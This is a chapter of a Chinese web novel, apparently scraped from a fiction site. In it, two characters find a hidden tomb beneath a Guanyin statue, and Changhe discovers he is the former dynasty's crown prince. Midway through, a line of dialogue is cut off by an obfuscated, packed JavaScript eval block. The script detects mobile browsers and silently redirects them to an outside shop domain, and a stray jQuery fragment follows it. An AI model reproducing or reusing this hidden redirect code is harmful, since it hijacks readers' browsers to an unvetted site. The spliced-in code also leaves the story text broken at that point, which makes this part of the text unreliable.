文趣网 > 其他小说 > 上善若我 > 62. 野鹤霜翎(拾壹)
    “我看了,房间里没什么线索,要走一遍吗?”长鹤问道。

    镜夕涧最后看了一圈,点了点头:“既然没有别的线索了,那就走一遍吧。”

    两人躬身,钻进了那个地道。

    不知道走了多久,总之那是一段极其冗长漆黑的地道,到处弥漫着泥土潮湿的气息。

    终于,两人看到了一丝光亮,从地下爬出来时,两人一阵恍惚。

    这是一座宅院。

    这宅院虽不大,却极其考究,随处可见精心设计的痕迹。

    北面有三间房,院子里有一块地,一口井,还有一个躺椅。

    两人走进房中,发现里面有很多婴儿用的东西。

    一个小婴儿床、小碗、小围嘴小、玩具铃铛,还有祈福的佛龛。

    “这……会是谁的房间?”长鹤极为震惊,堂堂一国皇贵妃的寝宫,竟连着这样一个地方。

    “……”镜夕涧忽然抬起双眼,“是晟炀帝的小儿子,那个一出生就被封作太子的孩子。”

    “……小儿子?”长鹤显然对这些过往一窍不通,别说太子是谁了,他根本连这个晟炀帝有几个孩子都不知道。

    镜夕涧点点头:“晟炀帝唯有两子,大儿子是原配所生,不过晟炀帝似是不喜,迟迟没有立储,但他却极其宠爱皇贵妃,就是那个随他南征北战的姬妾,甚至在两人的孩子一出生之时,就将其封作了太子。”

    “这里通着皇贵妃的宫殿,恐怕,就是那位小太子的住处了。”

    “可是……”长鹤显然无法理解,“既然这么宠爱的话,为什么有宫殿不住,却要把刚出生的孩子放在这种地方。”

    镜夕涧摇了摇头:“小太子出生时,大启已兵临城下,早晚会被攻破,留在宫中,只有死路一条。”

    “所以那人要找的东西……会在这里吗?”长鹤问。

    镜夕涧坚定地摇了摇头:“如果我是一个母亲,我绝不会把那么重要的东西放在我唯一的孩子这里。”

    “那会在哪呢?”

    镜夕涧走出院子,跃上房顶,四下张望着。

    长鹤跟着她跃上了房顶,也随她四处张望着。

    似乎,没有什么特别的。

    到底……在什么地方呢?

    那么重要的东西……

    一个汝成会若想复辟,必须要得到的东西。

    忽然,镜夕涧抬起头来。

    她的视线落在位于东南方的一座巨大无比的观音像上。

    那观音像手执清瓶与花束,面目慈悲,正睁眼望着此处!

    她浑身猛地一震。

    是,那座观音像,望的就是此处。

    “在那里!”镜夕涧立刻翻身下屋,拉着长鹤往东南方向跑去。

    如果她是母亲,在那样一个绝望的形势下,她一定会希望菩萨能够长长久久地保佑她的孩子。

    两人气喘吁吁地赶到观音像下面,抬头望着小山一样高的观音像。

    “附近好像没有什么特别的。”长鹤在附近查了查,得到了如此结论。

    “……”镜夕涧定定地望着那座观音像,忽然抬头看向长鹤,“你能跳到观音手上吗?”

    长鹤后退两步,将手搭在额头上抬眼一望:“能。”

    她走过去抱住他:“带我上去。”

    “诶?诶?”忽然被镜夕涧抱住,长鹤一愣,一下被弄了个大红脸,双手都不知道该往哪放了。

    镜夕涧从他怀里抬起头瞪着他:“我说带我上去!”

    镜夕涧微微上挑的杏眼瞪着他,整个人却抱着他,贴得极近,长鹤分毫没有生气,满脑子想的都是——

    好可爱。

    他心中飘飘然无所依,抬手环住镜夕涧的腰,轻点脚尖,将她带了上去。

    落在那巨大的手掌之中,镜夕涧立刻爬下,在上面找着什么东西。

    “你在找什么啊。”长鹤好奇地问。

    “……找到了!”镜夕涧摸到一处凹凸,双眼一亮,她贴近地面,仔细辨别着那处凹凸的形状。

    随后,她面上带着一阵难以言喻的激动,将自己脖颈上的玉璧摘下,叩到上面。

    严丝合缝。

    长鹤睁大了眼睛,镜夕涧则将手指伸进其中两个孔洞,轻轻往右一旋——

    佛像下方地面发出一阵隆隆声。

    两人对视一眼,不约而同道:“走!”

    落到地面上,发现在地面上打开的,是一段通向地面的楼梯。

    两人点亮烛火,走了进去。

    “这是……什么地方啊?”长鹤走在镜夕涧身边,端着烛台,摸了摸胳膊,“好阴森啊。”

    “是墓室。”镜夕涧望着四周墙壁,边走边道。

    “这里是甬道,过了这片水池马上就要到前后室了。”

    “等等。”长鹤不知感觉到了什么,忽然认真起来,挡住了镜夕涧的路。

    长鹤非到必要时候不会露出这样的表情,因此镜夕涧也不由正视,她看着他的侧脸轻声道:“怎么了?”

    “那不是水,是水银。”长鹤下颌绷得很紧,“屏息,我带你过去。”

    镜夕涧没有过多犹豫,连忙屏住了息。

    长鹤带着她越过那片水池,将她放下:“既然是墓室,我怕里面会有机关,你一定要紧跟在我身旁。”

    镜夕涧点点头,必要的时候她会听从,尽量不给他惹麻烦。

    接下来的甬道之中有不少机关陷阱,不过这些对长鹤来说都不足为道,而镜夕涧一直紧紧跟在长鹤身侧,有时出手替他挡下侧边飞来的箭矢,有时来不及反应,便被长鹤揽着腰跃身而起,再反应过来时,已经躲过危险了。

    终于,两人停在了最终的墓室面前。

    只是此时,他们却没有急着进去。

    长鹤的声音在空旷的墓道之中显得格外清晰:“你觉得,这会是谁的墓室?”

    “……”镜夕涧心中其实已有了大致猜想,不过她还是摇了摇头,将话语咽了下去,“还是进去看看吧。”

    长鹤点了点头,推开了最后一扇门。

    里面有一樽棺材。

    那棺木厚重,极有质感,木料一看就绝非俗物,上面雕着的鸟兽更是栩栩如生。

    那棺盖上贴着四个字:“开者即死!”

    只是这四个字却没有带给两人任何威慑。

    他们的视线落在棺盖上刻着的一行字上。

    看清那几个字后,镜夕涧心下骇然,猛地看向一旁的长鹤。

    长鹤的视线紧紧盯着那行字,一时间,好似灵魂出窍一般,所有现世的感知都消失了。

    好似春日惊雷骤然落下,那行字在他面前扭曲,变形,明明就是几个最简单的字,可他就是看不懂。

    ——“姬让,字长鹤,大晟太子。”

    他呆呆地望着那一行小字。

    一时间,所有情绪都涌了上来,如涨潮的江,倾塌的山,压得他不知该作何反应。

    ——“既然少主都这么说了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762541|203364||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,那就这样吧,我给我们彼此一炷香的时间,一炷香过后,我会直接炸毁这里,到时候我能否拿到岫玉,你们又能做到什么地步,就看我们自己的了。”

    ——“那他到底为什么对你这么特殊?而且他叫什么?名字总有吧?”

    所有的一切。

    晟炀帝、皇贵妃、七杀门、汝成会、素朴、秦生、镜夕涧……

    所有的一切在此刻拼凑起来,竟然得到了如此荒唐的一个结论。

    长鹤颤抖着伸出手,推开了棺椁。

    里面有一件华袍。

    是小孩子的尺寸,金缕玉衣,绣着龙纹,哪怕在地下埋藏了不知多久,依旧熠熠生辉。

    那华袍旁边放着一把打造得极为精致的剑,上面嵌着宝石,无论工艺还是材质都属上乘,四周还有一些精致的礼器、乐器、九毓冕等。

    有一枚雕刻得极为精细的龙头印章,上面刻着四个字——

    姬长鹤印。

    “这是……这些都是给我准备的吗?”他定定地看着这些,抬手轻轻抚过那细如牛毛的金丝,仿佛在对待世间至宝,仿佛在自言自语,“我不是小贼,也不是杀手,我是前朝的太子,这些看起来就价值连城的物件,曾经都是为我准备的,对不对?”

    喉咙里涩得发疼,镜夕涧看着他的侧脸,艰难出声:“是……”

    而单单这一个音节,就耗尽了她所有的力气,让她喉间宛如刀割。

    命运像是给众人开了个玩笑。

    走到尽头才发现,竟是那么荒唐。

    荒唐到任何一个人都觉得——

    一定不会发生在自己身上吧。

    可事实就是发生了,发生得让人如此措不及防。

    除了一些陪葬品,里面还有一封诏书,一枚玉玺。

    镜夕涧认得出,那是被天下之人认为,早已消失在乱世之中的传国玉玺。

    传国玉玺,由始皇帝用和氏璧打造而成,工艺无双,质地上乘,并且有一角缺了一块,天上地下,仅此一枚。

    自秦始皇开创帝王纪以来,传国玉玺就代表着正统,象征着正位,历任皇帝继位大典,都会接任传国玉玺。

    哪怕如今大一统的是大启,因为没有传国玉玺,依旧被指来位不正。

    她终于知道汝成会要干什么了。

    找到玉玺,拥立炀帝遗孤,名正言顺地举兵灭启,还于旧都。

    届时,整个大启皇室,朝堂,都将成为窃国之贼,成为众矢之的,被天下有心之人群起而攻之。

    西戎、北狄、东海倭寇……甚至大启内部早有异心之人。

    事实面前,所有的假设不攻而破。

    时间一分一秒地过去,镜夕涧觉得腿有些麻了。

    她不知道明白了真相的长鹤会作何反应。

    不知道身世对他意味着什么。

    也不知道……自己对他究竟有多么重要。

    他本可以拥有一切的。

    身份、地位、天底下最好的教育、无穷无尽的资源……甚至是皇家最难出现的爱与温情。

    可他现在什么都没有。

    人总会对“本该属于自己”的东西耿耿于怀,更何况,这是与朝不保夕的杀手生活全然不同的安稳时光,是整个天下。

    如同被命运戏耍一般,一个前朝太子,竟和当朝公主成了朋友……甚至是爱人。

    这两个从开始就错了的身份。

    两个无论怎么选择,都始终会站在彼此对立面的身份。